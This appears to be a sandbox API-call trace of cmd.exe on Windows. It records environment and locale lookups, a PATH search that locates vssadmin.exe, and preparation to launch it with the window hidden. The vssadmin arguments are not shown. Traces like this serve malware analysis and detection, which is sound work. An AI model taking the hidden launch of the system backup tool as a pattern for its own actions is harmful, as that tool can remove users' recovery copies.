	[0069.960] GetProcessHeap () returned 0x110000
	[0069.960] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0xae2) returned 0x117738
	[0069.960] FreeEnvironmentStringsA (penv="A") returned 1
	[0069.960] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0069.961] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0069.961] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0069.961] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0069.961] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0069.961] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0069.961] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0069.961] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0069.961] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0069.961] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0069.961] malloc (_Size=0xffce) returned 0x88fff8
	[0069.961] ??_V@YAXPAX@Z () returned 0x6ff6a4
	[0069.961] GetProcessHeap () returned 0x110000
	[0069.961] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x38) returned 0x110ae0
	[0069.961] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x88fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0069.962] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x88fff8, lpFilePart=0x6ff6f0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x6ff6f0*="Desktop") returned 0x17
	[0069.962] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0069.962] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x6ff470 | out: lpFindFileData=0x6ff470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x110b20
	[0069.962] FindClose (in: hFindFile=0x110b20 | out: hFindFile=0x110b20) returned 1
	[0069.962] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x6ff470 | out: lpFindFileData=0x6ff470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x110b20
	[0069.962] FindClose (in: hFindFile=0x110b20 | out: hFindFile=0x110b20) returned 1
	[0069.962] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x6ff470 | out: lpFindFileData=0x6ff470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x110b20
	[0069.962] FindClose (in: hFindFile=0x110b20 | out: hFindFile=0x110b20) returned 1
	[0069.963] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0069.963] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0069.963] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0069.963] GetProcessHeap () returned 0x110000
	[0069.963] RtlFreeHeap (HeapHandle=0x110000, Flags=0x0, BaseAddress=0x117738) returned 1
	[0069.963] GetEnvironmentStringsW () returned 0x114bc0*
	[0069.963] GetProcessHeap () returned 0x110000
	[0069.963] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0xb1a) returned 0x116c48
	[0069.963] FreeEnvironmentStringsA (penv="=") returned 1
	[0069.963] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x870048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0069.963] GetProcessHeap () returned 0x110000
	[0069.963] RtlFreeHeap (HeapHandle=0x110000, Flags=0x0, BaseAddress=0x110ae0) returned 1
	[0069.963] ??_V@YAXPAX@Z () returned 0x1
	[0069.963] ??_V@YAXPAX@Z () returned 0x1
	[0069.963] GetProcessHeap () returned 0x110000
	[0069.963] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x400e) returned 0x118d50
	[0069.963] GetProcessHeap () returned 0x110000
	[0069.963] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x84) returned 0x117770
	[0069.963] GetProcessHeap () returned 0x110000
	[0069.963] RtlFreeHeap (HeapHandle=0x110000, Flags=0x0, BaseAddress=0x118d50) returned 1
	[0069.963] GetConsoleOutputCP () returned 0x1b5
	[0069.979] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0069.979] GetUserDefaultLCID () returned 0x409
	[0069.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0069.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x6ffa60, cchData=128 | out: lpLCData="0") returned 2
	[0069.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x6ffa60, cchData=128 | out: lpLCData="0") returned 2
	[0069.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x6ffa60, cchData=128 | out: lpLCData="1") returned 2
	[0069.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0069.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0069.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0069.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0069.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0069.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0069.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0069.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0069.980] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0069.980] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0069.980] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0069.981] GetProcessHeap () returned 0x110000
	[0069.981] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x0, Size=0x20c) returned 0x117848
	[0069.981] GetConsoleTitleW (in: lpConsoleTitle=0x117848, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0069.984] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0069.984] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0069.984] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0069.984] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0069.984] ??_V@YAXPAX@Z () returned 0x1
	[0069.985] GetProcessHeap () returned 0x110000
	[0069.985] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x400a) returned 0x118d50
	[0069.985] GetProcessHeap () returned 0x110000
	[0069.985] RtlFreeHeap (HeapHandle=0x110000, Flags=0x0, BaseAddress=0x118d50) returned 1
	[0069.985] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0069.985] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0069.985] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0069.985] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0069.985] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0069.985] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0069.985] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0069.985] GetProcessHeap () returned 0x110000
	[0069.985] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x58) returned 0x117a60
	[0069.986] GetProcessHeap () returned 0x110000
	[0069.986] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x1a) returned 0x117ac0
	[0069.987] GetProcessHeap () returned 0x110000
	[0069.987] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x70) returned 0x117ae8
	[0069.987] GetConsoleTitleW (in: lpConsoleTitle=0x6ff958, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0069.988] malloc (_Size=0xffce) returned 0x882638
	[0069.988] ??_V@YAXPAX@Z () returned 0x6ff6e4
	[0069.988] malloc (_Size=0xffce) returned 0x892610
	[0069.989] ??_V@YAXPAX@Z () returned 0x6ff49c
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0069.989] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0069.990] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0069.991] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0069.992] ??_V@YAXPAX@Z () returned 0x1
	[0069.992] GetProcessHeap () returned 0x110000
	[0069.992] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0xffd6) returned 0x118d50
	[0069.992] GetProcessHeap () returned 0x110000
	[0069.992] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x82) returned 0x117b60
	[0069.993] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0069.993] malloc (_Size=0xffce) returned 0x892610
	[0069.993] ??_V@YAXPAX@Z () returned 0x6ff21c
	[0069.993] GetProcessHeap () returned 0x110000
	[0069.993] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x1ffa4) returned 0x128d30
	[0069.994] SetErrorMode (uMode=0x0) returned 0x0
	[0069.994] SetErrorMode (uMode=0x1) returned 0x0
	[0069.994] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x128d38, lpFilePart=0x6ff23c | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x6ff23c*="Desktop") returned 0x17
	[0069.994] SetErrorMode (uMode=0x0) returned 0x1
	[0069.994] GetProcessHeap () returned 0x110000
	[0069.994] RtlReAllocateHeap (Heap=0x110000, Flags=0x0, Ptr=0x128d30, Size=0x4a) returned 0x128d30
	[0069.994] GetProcessHeap () returned 0x110000
	[0069.994] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x128d30) returned 0x4a
	[0069.994] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0069.995] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0069.995] GetProcessHeap () returned 0x110000
	[0069.995] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x1b4) returned 0x117bf0
	[0069.995] GetProcessHeap () returned 0x110000
	[0069.995] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x360) returned 0x117db0
	[0070.001] GetProcessHeap () returned 0x110000
	[0070.001] RtlReAllocateHeap (Heap=0x110000, Flags=0x0, Ptr=0x117db0, Size=0x1b6) returned 0x117db0
	[0070.001] GetProcessHeap () returned 0x110000
	[0070.001] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x117db0) returned 0x1b6
	[0070.001] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0070.001] GetProcessHeap () returned 0x110000
	[0070.001] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0xe0) returned 0x117f70
	[0070.001] GetProcessHeap () returned 0x110000
	[0070.001] RtlReAllocateHeap (Heap=0x110000, Flags=0x0, Ptr=0x117f70, Size=0x76) returned 0x117f70
	[0070.001] GetProcessHeap () returned 0x110000
	[0070.001] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x117f70) returned 0x76
	[0070.001] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0070.001] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x6fefc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6fefc8) returned 0xffffffff
	[0070.002] GetLastError () returned 0x2
	[0070.002] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0070.002] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x6fefc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6fefc8) returned 0xffffffff
	[0070.004] GetLastError () returned 0x2
	[0070.004] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0070.004] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x6fefc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6fefc8) returned 0x117ff0
	[0070.004] GetProcessHeap () returned 0x110000
	[0070.004] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x0, Size=0x14) returned 0x118030
	[0070.004] FindClose (in: hFindFile=0x117ff0 | out: hFindFile=0x117ff0) returned 1
	[0070.005] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x6fefc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6fefc8) returned 0xffffffff
	[0070.005] GetLastError () returned 0x2
	[0070.005] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x6fefc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6fefc8) returned 0x117ff0
	[0070.005] GetProcessHeap () returned 0x110000
	[0070.005] RtlReAllocateHeap (Heap=0x110000, Flags=0x0, Ptr=0x118030, Size=0x4) returned 0x118030
	[0070.005] FindClose (in: hFindFile=0x117ff0 | out: hFindFile=0x117ff0) returned 1
	[0070.005] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0070.005] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0070.005] ??_V@YAXPAX@Z () returned 0x1
	[0070.005] GetConsoleTitleW (in: lpConsoleTitle=0x6ff4cc, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0070.005] InitializeProcThreadAttributeList (in: lpAttributeList=0x6ff3f8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x6ff3e4 | out: lpAttributeList=0x6ff3f8, lpSize=0x6ff3e4) returned 1
	[0070.006] UpdateProcThreadAttribute (in: lpAttributeList=0x6ff3f8, dwFlags=0x0, Attribute=0x60001, lpValue=0x6ff3e0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x6ff3f8, lpPreviousValue=0x0) returned 1
	[0070.006] GetStartupInfoW (in: lpStartupInfo=0x6ff430 | out: lpStartupInfo=0x6ff430*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0070.006] GetProcessHeap () returned 0x110000
	[0070.006] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x18) returned 0x117ff0
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0070.006] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0070.007] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0070.007] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0070.007] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0070.007] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0070.007] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0070.007] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0070.007] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0070.007] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0070.007] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0070.007] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0070.007] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0070.007] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0070.007] GetProcessHeap () returned 0x110000
	[0070.007] RtlFreeHeap (HeapHandle=0x110000, Flags=0x0, BaseAddress=0x117ff0) returned 1
	[0070.007] GetProcessHeap () returned 0x110000
	[0070.007] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0xa) returned 0x117ff0
	[0070.007] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0070.008] _get_osfhandle (_FileHandle=1) returned 0x90
	[0070.008] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0070.009] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0070.009] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
